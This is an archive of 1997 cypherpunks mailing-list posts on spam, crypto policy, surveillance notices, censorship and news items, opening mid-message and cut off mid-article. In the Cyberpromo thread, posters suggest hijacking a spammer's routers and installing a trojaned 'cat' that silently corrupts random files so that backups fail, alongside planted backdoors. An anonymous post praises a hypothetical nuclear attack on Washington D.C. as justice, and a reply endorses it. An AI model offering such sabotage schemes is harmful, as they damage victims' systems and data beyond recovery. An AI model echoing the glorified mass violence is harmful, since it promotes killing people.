hack Cyberpromo, the Prof wouldn't delete all the files, for doing so 
would simply cause them to restore their files from tape thus cause not 
much to happen.  No, were I to do something like that (and I wouldn't) it 
would have to be something that would keep them down for a long time, not 
for eight hours while their tape drive restores stuff.

Any suggestions as to what this would be for those out there willing to do
such a deed? :) My own suggestion would be to hack into the routers
surrounding them and set them up to connect any attempts to connect to
machines outside cyberpromo.com on port 25 back to cyberpromo's own sendmail
server.  Setting up their sendmail configs to do the same would also be a
nice backup.  That would be IMHO a proper hack.  (Anyone care to share router
hacking techniques, and how to do such a thing?-- Again, not that I would 
do this myself.)

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "So make a move and plead the fifth,   |./|\.
..\|/..|sunder@sundernet.com|  'cause you can't pleade the first!"   |/\|/\
<--*-->| ------------------ |                                        |\/|\/
../|\..| "A toast to Odin,  | For with those which eternal lie, with |.\|/.
.+.v.+.|God of screwdrivers"| strange aeons, even death may die.     |.....
======================== http://www.sundernet.com =========================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Wed, 7 May 1997 00:38:15 +0800
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: [Off Topic - Vulis] Re: Controversial Commercial ISP for Remailer?
In-Reply-To: <y8R06D21w165w@bwalk.dm.com>
Message-ID: <Pine.SUN.3.91.970506120658.20708K@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain


On Tue, 6 May 1997, Dr.Dimitri Vulis KOTM wrote:

> It certainly would be consistent with other terrorist acts perpetrated
> by Armenian criminals off and on the net - such as the genocide of
> the 2 million Moslems and Sephardic Jews in this century alone.
> 
> I am not surprised that Arachelian's employer, Earthweb, condones his
> spamming.  They sound like a thoroughly corrupt and criminal organization,
> since they even employ Arachelian as a network administrator.

ROTFL! To quote the infamous snow:
"Pot. Kettle. Black."

A better question would be: How many people did you and your bots and 
your cohorts spam in this century alone?  [Including Moslems, and Jews]
And how many flame wars have you ignited?  

(And I promise that I won't tell anyone that you ate ham and cheese
sandwitches with your white bread on passover unless I do so in public.) 
:)

Now that I think about it... I suppose since Earthweb sells Java, and java
contains caffeine (virtual mind you) and caffeine is addictive, you could say
Earthweb is a virtual "drug" dealer, but corrupt and criminal?  Ha!  

Oh, before I forget, remind me to send you a pack of Oren's Earthweb Blend
coffee (which we give out at trade shows) one of these days.  The first pack
is free, once you're addicted... errrr... if you like it you can order 
more from Oren's Daily Roast.  <evil grin>

 -- End of this off topic thread.  Hehehhe! :)

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "So make a move and plead the fifth,   |./|\.
..\|/..|sunder@sundernet.com|  'cause you can't pleade the first!"   |/\|/\
<--*-->| ------------------ |                                        |\/|\/
../|\..| "A toast to Odin,  | For with those which eternal lie, with |.\|/.
.+.v.+.|God of screwdrivers"| strange aeons, even death may die.     |.....
======================== http://www.sundernet.com =========================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Wed, 7 May 1997 01:14:28 +0800
To: cypherpunks@toad.com
Subject: CALEA Comments
Message-ID: <1.5.4.32.19970506163454.0071c470@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


The FBI has published today in the Federal Register
industry comments and its responses to Section 104(d) 
of the Communications Assistance for Law Enforcement 
Act, 2nd Notice of January 14, 1997, and requests
additional comments:

   http://jya.com/fbi050697.htm  (33K)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dave Hayes <dave@kachina.jetcafe.org>
Date: Wed, 7 May 1997 06:33:56 +0800
To: freedom-knights@jetcafe.org
Subject: Re: Controversial Commercial ISP for Remailer?
Message-ID: <199705061935.MAA13079@kachina.jetcafe.org>
MIME-Version: 1.0
Content-Type: text/plain


Igor Chudov writes:
> Dave Hayes wrote:
> > Judgementally speaking, if you spam, you may not continue to condemn
> > spammers and be consistent.
> Let's say, what if instead of spamming Prof. Arachelian hacks Cyberpromo
> and deletes all files there? Would it also be inconsistent, in your
> view?

What makes you think that my view of consistency has anything to do
with this action?
------
Dave Hayes - Altadena CA, USA - dave@jetcafe.org 
Freedom Knight of Usenet - http://www.jetcafe.org/~dave/usenet

Man will occasionally stumble over the truth, but most of the time he will
pick himself up and continue.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Michael  F. Reusch" <reusch@pluto.njcc.com>
Date: Wed, 7 May 1997 03:16:53 +0800
To: cypherpunks@cyberpass.net
Subject: CBD - DEA - TELEPHONE MONITORING DEVICE
Message-ID: <3.0.1.32.19970506131529.00699ec0@mail.njcc.com>
MIME-Version: 1.0
Content-Type: text/plain


http://www.ld.com/cbd/archive/1997/04(April)/30-Apr-1997/58sol008.htm

Commerce Business Daily, April 30, 1997

Drug Enforcement Administration, Office of Acquisition Management, 
700 Army Navy Drive, Arlington, Virginia 22202

58 -- SOURCES SOUGHT -- TELEPHONE MONITORING DEVICE SOL 97-SP0453 POC
Yolanda Jordan, Purchasing Agent, (202) 307-7805 The Drug Enforcement
Administration (DEA) is seeking to identify qualified sources to provide a
telephone data recording system which will provide management with the
following: 
1) provides for centralized management; 
2) has synchronized agent directories; 
3) multiple leveled and layered, user profile security;
4) a strategic framework to support future functionality 
5) easy-to-use for users; 
6) automate and simplify the entire monitoring process of voice and data; 
7) provide an objective approach to personnel evaluation and analysis; 
8) provide insight into the effectiveness of the software applications and
hardware systems being used by employees;
9) provide a training tool for employees, classroom environments and peer
group sessions; 
10) provide a means for fraud detection; 
11) work in oracle local area network. this system shall perform on-line
evaluation, product data, analysis/report of telephone conversations and
customer account screens across a wide area network. 

This information will also need to provide storage for data for three to
six months. This announcement is not a Request for Proposal or Request for
Quotation. there is no solicitation/RFQ available. We request that
interested sources submit a capability statement that clearly identifies
their capabilities by May 27, 1997 to U.S. Department of Justice, Drug
Enforcement Administration, 700 Army Navy Drive, Arlington, VA 22202, Attn:
Yolanda Jordan. Any questions should be directed to Ms. Yolanda Jordan at
202-307-7805. DEA does not intend to award a contact on the basis of this
request for information or otherwise pay for the information solicited.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "DataET Research Data Engineering Technologies" <dataet@hotmail.com>
Date: Wed, 7 May 1997 06:53:48 +0800
To: cypherpunks@toad.com
Subject: Custom programming, Web site design & development, and more.
Message-ID: <199705062233.PAA27824@f42.hotmail.com>
MIME-Version: 1.0
Content-Type: text/plain


Visit DataET Research, an excellent source for high-quality, but extensively 
inexpensive, software development and marketing solutions.

SERVICES:

o Custom Software Development Service
o Custom Database Application Development Service
o Help File / System Development Service
o Installation Program Development Service
o Shareware Distribution & Marketing Service
o Trial Usage Tracking System Development Service
o Web Site Design & Development Service
o Press Release Distribution Service

If you are interested in having a spectacular Web site or customized software 
package developed for your organization, VISIT: http://www.dataet.com.

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DataET Research, VISIT: http://www.dataet.com.

Shareware trial edition versions are available.

DataET Research
Data Engineering Technologies
VISIT: http://www.dataet.com


---------------------------------------------------------
Get Your *Web-Based* Free Email at http://www.hotmail.com
---------------------------------------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: root <root@fatmans.demon.co.uk>
Date: Wed, 7 May 1997 03:10:16 +0800
To: cypherpunks@cyberpass.net
Subject: Re: (fwd) Re: XS4ALL censored pages (fwd)
Message-ID: <Pine.LNX.3.91.970506154330.877A-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




---------- Forwarded message ----------
Date: Tue, 6 May 1997 13:03:06 +0200 (MET DST)
From: Felipe Rodriquez <felipe@xs4all.nl>
To: Alex de Joode <usura@replay.com>
Cc: root@fatmans.demon.co.uk
Subject: Re: (fwd) Re: XS4ALL censored pages (fwd)

Hi,

Plz forward this to the cypherpunk list:

> As we guessed XS4ALL don`t even have the guts to send us a copy of the 
> pages they censored. Check this out...
> 
> 
> >>Postmaster,
> >>
> >>Please send me a copy of your current pricing for web space.
> >>Also, please send me a copy of the marajuana pages you recently removed 
> >>from your web server.
> >
> >Hearby you recieve information about all services from xs4all.
> >
> >We don't know anything about marajuana pages so we can't send you a copy of
> >that.

The simple reason that a copy cannot be sent is that we have no such
copy. The Dutch police have asked us to remove these pages, because
they where being used to sell and distribute marihuana, hashish and
XTC. These drugs had been distributed to countries like France,
England and Japan. Through Interpol these countries had requested the
dutch police to take action against these pages. If Xs4all would not
have removed the pages we'd have been target of a criminal
investigation.


Kind regards,


	Felipe Rodriquez






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: baby-X <baby-x@slowdog.com>
Date: Wed, 7 May 1997 07:30:39 +0800
To: cypherpunks@algebra.com
Subject: Re: Jim Bell in the Oregonian
In-Reply-To: <Pine.GSO.3.96.970506110459.11B-100000@linda.teleport.com>
Message-ID: <Pine.LNX.3.96.970506161804.12367A-100000@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain


On Tue, 6 May 1997, Alan wrote:

> Jim Bell has an editorial (with his picture) in the Oregonian. (Morning
> edition, May 6th, 1997 page B-9.)  It takes up about a quarter of the
> page.
> 
> It is an interesting read.  It does not address the problems with AP, but
> it does deal with the raid and other issues involved.

Actually it only barely mentions the raid, at the end of the piece. Most of
the piece talks about AP in some fashion.


============================================================================
 baby-X                                               SLUGGISH CANINE SHACK
 baby-x@slowdog.com                                         www.slowdog.com
============================================================================






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jimbell@pacifier.com (Jim Bell)
Date: Wed, 7 May 1997 10:12:27 +0800
To: Alan <cypherpunks@algebra.com
Subject: Re: Jim Bell in the Oregonian
Message-ID: <199705070152.SAA13143@mail.pacifier.com>
MIME-Version: 1.0
Content-Type: text/plain


At 11:09 5/06/97 -0700, Alan wrote:
>
>Jim Bell has an editorial (with his picture) in the Oregonian. (Morning
>edition, May 6th, 1997 page B-9.)  It takes up about a quarter of the
>page.
>
>It is an interesting read.  It does not address the problems with AP,

Given that the article was, more or less, limited to 800 words (it actually
runs about 40 over this informal limit) it is by no means surprising that it
"does not address the problems [sic] with AP."

Why would you think it would?!?


> but
>it does deal with the raid and other issues involved.

And I've already posted it, but it probably hadn't appeared to most CP
subscribers, certainly not by the time you posted your note, and maybe not
even when I post this note.

>
>Jim might consider posting a copy of the original article here.  Given the
>Oregano's love of cut-and-paste journalism, it would be interesting how
>the original and print versions differ.

I didn't seen any substantial changes to the body of the article, although
my preferred title wasn't used.


Jim Bell
jimbell@pacifier.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Wed, 7 May 1997 10:15:38 +0800
To: cypherpunks@algebra.com
Subject: AP --> AR
Message-ID: <199705070153.SAA19795@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain



Tim May verily saith [paraphrase]:

> I would cry few tears if D.C. got nuked

This will be an historical event of importance comparable to the 
American Revolution and the fall of the Berlin Wall.

Even now Clinton and his organization are pointing weapons of mass terror and 
murder at hundreds of millions of people around the world, and other
leaders of these gangs with weapons too murderous to be called
gangs, these terrorists far too terrifying to the called terrorists,
are pointing their weapons at us.  Far from enemies, the supergang
chieftans contribute to each others' campaigns, turning democracy
into a sick joke.  The fact of friendship between super-terrorist
leaders does not stop them from threatening us with terror and death in 
the name of "defense" against "enemy nations", and by the most
bizarre hypocrisy ever dreamed up by the mind of man, trampling our
rights in the name of controlling "terrorism".  The supreme justice 
will be done when these weapons of mass terror are turned back 
on their wielders and those proximate who have failed to use their   
proximity to bring these ultimate criminals to justice.  Those
innocents who die will be mourned as saviours for the many tens
of millions who would have been murdered by governments in the twenty 
first century, as they have been in the twentieth.

I live about one hundred-fifty miles away from that fetid place, sometimes
downwind.  The risk to my family from the fallout is fairly small
compared to the risks we face every day from these super-terrorists
pointing weapons at us, threatening us constantly, sometimes murdering
us outright when they can cook up a good enough story to justify it
on the evening news.  The money I have to spend to protect 
my family from the fallout, and from any temporary economic setback to
our region, would be earned back in less than a year of not having my 
livelihood sucked away by these mass murdering parasites, and the very lives
of my beloved family, my lovely wife, my son and my two daughters,
threatened by their thug friends and campaign contributors 
overseas.   D.C. may lead the nation in personal crimes, but these
are as nothing next to the crimes it has committed against the peoples
of the rest of the nation and the world.  These self-legalized criminals 
have in this administration alone murdered more children than Charles Manson 
killed adults.

AP may be more targeted, but it just doesn't do the crimes justice.
For that will come AR -- appropriate response. 


"John the Baptist"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Wed, 7 May 1997 19:10:30 +0800
To: cypherpunks@toad.com
Subject: The Executive State
Message-ID: <v03020991af956ead8e46@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain



--- begin forwarded text


Date: Tue, 6 May 1997 10:46:19 -0700
From: thomasu@mail.auburn.edu
To: misesmail@colossus.net
Subject: The Executive State
Sender: owner-misesmail@colossus.net
Precedence: Bulk

The Executive State:
The U.S. Presidency vs. American Liberty

	When President Clinton asked golfer Tiger Woods to join him at an official
propaganda event, and even offered to send Air Force One, Tiger answered as
every freedom-loving American should: he had something better to do. He was
going on a vacation with some college chums.

	Tiger has his priorities straight, but his turndown is another indication
that the presidency is shrinking as an institution. It still commands, but
no longer compels, our undying (or dying) obedience, no matter how many
monuments are erected to despots on the Washington Mall. This trend is all
to the good.

	The legacy of presidential autocracy from the earliest days of the
republic to the present survives in the form of the executive state. But
where can you go in the library to find the truth about the havoc U.S.
presidents have wrecked on the American promise of freedom? Virtually
nowhere. The official history of the presidency reads like the Lives of the
Saints.

	The Mises Institute intends to do something about this. In the Fall of
1998, we're holding a major academic conference on the American presidency.
Our purpose is to debunk the conventional view that the more power he's
usurped, the better off the American people are.

	All the presidents qualify for study, but we are especially interested in
the checkered careers and dictates of Polk, Lincoln, McKinley, Roosevelt I,
Wilson, Roosevelt II, Truman, Johnson, Nixon, and Reagan.

	If you're a scholar and would like to participate with a paper on some
aspect of a presidential power grab (or one of those few occasions when a
president did some good) let us know. An abstract is all that's necessary
to be considered now.

The Ludwig von Mises Institute
Auburn, Alabama 36849-5301
334-844-2500; fax: 334-844-2583

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
Lesley Stahl: "You mean *anyone* can set up a web site and compete
               with the New York Times?"
Andrew Kantor: "Yes."  Stahl:  "Isn't that dangerous?"
The e$ Home Page: http://www.shipwright.com/







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Wed, 7 May 1997 09:49:39 +0800
To: dave@kachina.jetcafe.org (Dave Hayes)
Subject: Re: Controversial Commercial ISP for Remailer?
In-Reply-To: <199705061935.MAA13079@kachina.jetcafe.org>
Message-ID: <199705070135.UAA24857@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Dave Hayes wrote:
> 
> Igor Chudov writes:
> > Dave Hayes wrote:
> > > Judgementally speaking, if you spam, you may not continue to condemn
> > > spammers and be consistent.
> > Let's say, what if instead of spamming Prof. Arachelian hacks Cyberpromo
> > and deletes all files there? Would it also be inconsistent, in your
> > view?
> 
> What makes you think that my view of consistency has anything to do
> with this action?

I am interested in your view, Dave.

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Wed, 7 May 1997 10:10:13 +0800
To: sunder@brainlink.com (Ray Arachelian)
Subject: Re: Controversial Commercial ISP for Remailer?
In-Reply-To: <Pine.SUN.3.91.970506115553.20708G-100000@beast.brainlink.com>
Message-ID: <199705070140.UAA24968@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


some of the best hacks that I heard was to install a trojan
instead of, say, cat, that would randomly change one byte in 
a randomly chosen file.

this is hard to notice, and when you do notice that, all the backups are
useless.

basically, install lots of backdoors and then play with their minds.

some ppl would steal CC# of their customers and publish them, but I would
not do it.

igor

Ray Arachelian wrote:
> 
> On Mon, 5 May 1997 ichudov@algebra.com wrote:
> 
> > Let's say, what if instead of spamming Prof. Arachelian hacks Cyberpromo
> > and deletes all files there? Would it also be inconsistent, in your
> > view?
> 
> Fictionally speaking, if the Prof. (when did I earn that title?) does 
> hack Cyberpromo, the Prof wouldn't delete all the files, for doing so 
> would simply cause them to restore their files from tape thus cause not 
> much to happen.  No, were I to do something like that (and I wouldn't) it 
> would have to be something that would keep them down for a long time, not 
> for eight hours while their tape drive restores stuff.
> 
> Any suggestions as to what this would be for those out there willing to do
> such a deed? :) My own suggestion would be to hack into the routers
> surrounding them and set them up to connect any attempts to connect to
> machines outside cyberpromo.com on port 25 back to cyberpromo's own sendmail
> server.  Setting up their sendmail configs to do the same would also be a
> nice backup.  That would be IMHO a proper hack.  (Anyone care to share router
> hacking techniques, and how to do such a thing?-- Again, not that I would 
> do this myself.)
> 
> =====================================Kaos=Keraunos=Kybernetos==============
> .+.^.+.|  Ray Arachelian    | "So make a move and plead the fifth,   |./|\.
> ..\|/..|sunder@sundernet.com|  'cause you can't pleade the first!"   |/\|/\
> <--*-->| ------------------ |                                        |\/|\/
> ../|\..| "A toast to Odin,  | For with those which eternal lie, with |.\|/.
> .+.v.+.|God of screwdrivers"| strange aeons, even death may die.     |.....
> ======================== http://www.sundernet.com =========================
> 



	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Wed, 7 May 1997 20:50:29 +0800
To: Paul Bradley <paul@fatmans.demon.co.uk>
Subject: Re: Rape, death and XS4ALL
In-Reply-To: <Pine.LNX.3.91.970505102129.509B-100000@fatmans.demon.co.uk>
Message-ID: <199705071233.HAA30664@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----


In <Pine.LNX.3.91.970505102129.509B-100000@fatmans.demon.co.uk>, on
05/05/97 at 04:37 AM,
   Paul Bradley <paul@fatmans.demon.co.uk> said:




>> > > A ban on all handguns even when registered (currently all pistols above 
>> > > .22 are banned and all guns have to be registered in a process whereby if 
>> > > the applicant for a certificate has any history of political dissention 
>> > > or crime (eg. Smoking a joint, the ultimate sin against society) the 
>> > > certificate will be refused.
>> 
>> What would be an example of such political dissention?

>Well, I`m pretty sure that, having recently been involved in campaigns 
>against the ban on handguns, written to a number of people in positions 
>of power over the proposed TTP scheme in the DTI white paper etc. my 
>firearms licence will not be renewed the next time it comes up for review.
>The powers that be now presumably see me as a loon.

>A damning enditement on the British people is that last time I mentioned 
>to someone my having written to the home office and others over the 
>proposed gun ban I was called a lunatic and told "The sort of person who 
>writes to the home office over something like that is the least suitable 
>to have a gun".

>I can assure you this is not a one-off, this happens every time people who
> don`t shoot find out I do. They have been brainwashed by the  tabloid
>press, for example, the daily mail ran a particularly vitriolic  hate
>campaign against gun owners singling out Albie Fox, leader of the 
>campaign against the ban, and calling him a "Gun obsessed lunatic". This,
>recall, is the same daily mail which rants every day about the  "evil of
>drugs" and how the only way to "save society" is to throw  everyone who
>doesn`t support their particular brand of bigoted fanaticism  into jail
>for the rest of their life.

>And of course, one would imagine that those who actually owned guns and 
>used them for sport themselves would be the most informed people who 
>would realise that the criminal use of guns is at the opposite end of the 
>scale to the sporting use allowed in British law. However, I know several 
>people who have said "I`m happy to give up my guns if it will save 
>lives", to this I simply reply "who were you going to kill?" then walk 
>away, these people don`t even deserve correcting as their bullshit is so 
>deep.

>In addition, when the police revoke or refuse to renew a firearms 
>certificate, they do not need to give a reason, so one cannot even prove 
>that it was because of speech or opinions they didn`t like that they 
>revoked the certificate. Even if you could, it is unlikely a challenge in 
>court would succeed, the UK does not have the same free speech guarantees 
>as are given in the US and elsewhere, and any court challenge would fail, 
>of that I am sure.

>Also, to worsen the situation, the labour party has now come to power and 
>as I have already explained in a previous post this make matters even
>worse.

Well wait until after the next elections when we have a Republican
administration and apply for political asylum. :)

Someday the revolution will come and we can roundup all these bastards for
"crimes against Democracy". Anyone for Nurnburg II? -- 
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii@amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: If at first you don't succeed, work for Microsoft.

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jenaer Mixmaster Anonserver <mixmaster@as-node.jena.thur.de>
Date: Wed, 7 May 1997 12:05:40 +0800
To: cypherpunks@cyberpass.net
Subject: None
Message-ID: <m0wOpx4-0003x9C@as-node.jena.thur.de>
MIME-Version: 1.0
Content-Type: text/plain



For your interest and amusement...

London Daily Telegraph, 5/6/97

"French coders go on strike"

France's 260 Foreign Ministry coders, who decipher top security messages,
went on strike yesterday for the first time since their department was 
set up in the 1960s.

The strike is over career status, the lack of recruits and the impact of
new technologies. Talks are to be held tomorrow. AFP, Paris





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dave Hayes <dave@kachina.jetcafe.org>
Date: Wed, 7 May 1997 14:00:30 +0800
To: freedom-knights@jetcafe.org
Subject: Re: Controversial Commercial ISP for Remailer?
Message-ID: <199705070543.WAA16571@kachina.jetcafe.org>
MIME-Version: 1.0
Content-Type: text/plain


Igor Chudov writes:
> I am interested in your view, Dave.

There are only two reasons that I can see your interest serving. 
You either wish to support my views or oppose them. Neither case
serves your potential enlightement, therefore I shall choose to 
not answer.
------
Dave Hayes - Altadena CA, USA - dave@jetcafe.org 
Freedom Knight of Usenet - http://www.jetcafe.org/~dave/usenet

Test  (n.)   - 1. A hardship you don't expect.
Brave (adj.) - 1. Someone looking for a test.










From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Omegaman <omegam@cmq.com>
Date: Wed, 7 May 1997 11:57:41 +0800
To: "Shabbir J. Safdar" <cypherpunks@cyberpass.net
Subject: Since when is supporting unrestricted crypto unreasonable?
In-Reply-To: <v03020906af8e6fb1335e@[207.226.3.4]>
Message-ID: <199705070346.WAA10035@jolietjake.com>
MIME-Version: 1.0
Content-Type: text/plain


"Shabbir J. Safdar" <shabbir@vtw.org> writes:
 
> You're pretty hard on CDT, but EFF, EPIC, the ACLU, VTW, Americans for Tax
> Reform, the Association for Computing Machinery, Computer Professionals for
> Social Responsiblity, Eagle Forum, the National Association for Criminal
> Defense Lawyers, and PGP Inc all signed this letter.
> 
> Can you consider, perhaps, for a second, that critics of SAFE are being
> unreasonable?  

No.  Perhaps we consider accepting the bill with such glaring
loopholes unreasonable.  

> I would think so, as critics of SAFE include the Clinton
> Administration.  Is that the kind of company that cypherpunks keep?

I'll let this remark stand on it's own merit.
 
> Looks like widespread support from people who study this issue for living.
> I'm glad to be counted among them.

Interesting dismissal and point of view from an organization which is
ostensibly a promoter of civil liberties.  The trace of elitism in
this quote is an irony that this reader didn't miss.  "Democracy,"
indeed.


It appears that in your daily study of this issue -- and I'm assuming
that familiarity with Cypherpunks is part of that -- you missed some
of the differences between many Cypherpunks and your organization(s).

We all agree that unrestricted/unregulated Cryptography is a "good
thing."   However, the compromises ACLU, EPIC, EFF, CDT, etc. are
willing to make with this bill do not further this ultimate goal.
Unless the administration intends to simply ignore the obvious
loopholes. 

There are also some philosophical differences.

To quote Alan Davidson:
> There is a right we don't have now: The right to export strong
> cryptography. The result is that strong, easy-to-use encryption is not
> seamlessly integrated into most popular products, and is not accessible to
> most people

Actually, the government doesn't have the right to impose restrictions
on strong cryptography.  Yet time and again, it has attempted to do
so, resulting in -- as Alan noted -- a chilling effect on the spread
of strong crypto in the mass market.

And government will continue attempts to reach into regulation of
crypto.  This is why compromise is unacceptable.  Far better to work
around it attempting to spread cryptography far and wide while
legislators and administrators struggle to slip their agenda past your
watchful eyes.


But there is another force at work here.  There is no "killer" crypto
app in the eyes of the masses.  PGP 2.6xxxxx is probably the closest
thing we currently have in this regard.  Furthermore, crypto still
remains largely below the public radar.  While government officials
can trot out the four horsemen with predictable reactions, the
proverbial "other side" has few arguments that carry a similar
impact.  

We can cite abuses, encroachment on civil liberties, increasing
surveillance efforts, and numerous other frightening developments.
None of these have broken into the mass conciousness in the same way
that "protecting the children/public safety" arguments have.  <Irony>
Labels like "militia", "extreme edge" and "radical" also carry alot of
weight in the increasingly paranoid public mind.</Irony>

Until some outrageous surveillance or crypto related abuse occurs
(cryptogate) or is uncovered , it will remain difficult to garner real
mass public support.  The Newt Gingrich cell-phone fiasco came as
close as anything yet.  Commercial interests "get it" & support crypto
for wholly different reasons.

I'm starting to think that until someone actually gets arrested and
jailed for using strong, unbreakable encryption that is "suspected" of
supporting a crime, little will change.  In the meantime, the
administration, Congress, and the TLA's will keep getting closer to
achieving their goals.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 7 May 1997 13:34:03 +0800
To: cypherpunks@toad.com
Subject: Re: AP --> AR
In-Reply-To: <199705070153.SAA19795@fat.doobie.com>
Message-ID: <2XcB7D34w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


nobody@huge.cajones.com (Huge Cajones Remailer) writes:

>
> Tim May verily saith [paraphrase]:
>
> > I would cry few tears if D.C. got nuked
>
> This will be an historical event of importance comparable to the
> American Revolution and the fall of the Berlin Wall.

I'm all for it!

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Wed, 7 May 1997 14:01:53 +0800
To: freedom-knights@jetcafe.org (Freedom Knights)
Subject: Re: Controversial Commercial ISP for Remailer?
Message-ID: <199705070553.AAA26992@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Dave Hayes wrote:
> Igor Chudov writes:
> > I am interested in your view, Dave.
> 
> There are only two reasons that I can see your interest serving. 
> You either wish to support my views or oppose them. Neither case
> serves your potential enlightement, therefore I shall choose to 
> not answer.

Dave, you are a very insightful man, but in this case you were
mistaken: I am interested to hear your views for my enlightenment.

But your response above also serves my curiosity, no less than a
more direct one, so thank you very much.

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lynx_User@linux.nycmetro.com
Date: Wed, 7 May 1997 19:15:08 +0800
To: cypherpunks@toad.com
Subject: airlines_2.html
Message-ID: <199705071055.GAA29130@linux.nycmetro.com>
MIME-Version: 1.0
Content-Type: text/plain



                             Reuters New Media
                                      
                    [ Yahoo | Write Us | Search | Info ]
                                      
    [ Index | News | World | Biz | Tech | Politic | Sport | Scoreboard |
                            Entertain | Health ]
     _________________________________________________________________
   
   Previous Story: Clinton Defends Wife's Whitewater Statements
   Next Story: Clinton, Zedillo Work to Improve Relations
     _________________________________________________________________
   
   Tuesday May 6 11:33 PM EDT 
   
Airlines Step Up Baggage Security Measures

   WASHINGTON (Reuter) - U.S. airlines started a nationwide domestic
   trial Tuesday to match passengers with luggage as a way to intercept
   terrorists who might try to get a bomb on a plane in an unaccompanied
   bag.
   
   The Air Transport Association, which represents all the major U.S.
   carriers, said the trial followed recommendations by a special White
   House commission formed after the explosion last summer of TWA flight
   800.
   
   Terrorism was at first thought to be the cause of the explosion that
   killed all 230 people on board the Boeing 747, but officials say
   evidence now lead to mechanical failure.
   
   John Meenan, Air Transport Association vice president for policy and
   planning, said the trial would run for about two weeks.
   
   He said the airlines were deciding the extent of bag checking, on
   Federal Aviation Administration advice to run trials at various
   airports, including hub and spoke operations and city-to-city flights.
   
   Meenan said there was a potential for delays when a passenger checked
   a bag but then, for any reason, might not board the flight and stayed
   back for a later connection.
   
   In the past, he said, that would not cause a problem.
   
   "But in the trial, if they find you are not there, they must find your
   bag in the belly of the plane," Meenan said. "The delay can be very
   significant."
   
   He said if one plane were held up for an hour at a busy airport, that
   would prevent another aircraft from landing and taking its place at
   the gate, as well as cause passengers to miss connections.
   
   "You have cascading effect," he said.
   
   FAA spokeswoman Rebecca Trexler said she hoped there would not be too
   many delays, adding that the trial was in part to see the effect of
   bag matching on airline schedules.
   
   Trexler added that airlines had the option of suspending the trial if
   delays were 20 minutes or longer, but by the end of the day she had no
   reports of any delays that long.
   
   Bags are already matched on overseas flights, Meenan said, but those
   are not scheduled as closely together as domestic flights when every
   departure and arrival is timed to get full use out of every plane
   making any delay costly to the carrier.
   
   He said he did not think bag matching was the answer to security
   because it would cause too many serious delays.
   
   He said the answer might be a combination of bag matching and
   profiling passengers to try to screen for further investigation any
   passenger who seemed to be a potential risk, also recommended by the
   special commission.
     _________________________________________________________________
                                      
                 ________________________ ___________ Help
     _________________________________________________________________
   
   Previous Story: Clinton Defends Wife's Whitewater Statements
   Next Story: Clinton, Zedillo Work to Improve Relations
     _________________________________________________________________
   
    [ Index | News | World | Biz | Tech | Politic | Sport | Scoreboard |
                            Entertain | Health ]
     _________________________________________________________________
   
                              Reuters Limited
                                      
                                      
    Questions or Comments





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Wed, 7 May 1997 20:06:12 +0800
To: cypherpunks@toad.com
Subject: IBM's New Algo
Message-ID: <1.5.4.32.19970507114307.00873568@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


   The New York Times, May 7, 1997, p. D5.

   I.B.M. Researchers Develop A New Encryption Formula

   By Laurence Zuckerman

   I.B.M. plans to announce today that two of its researchers
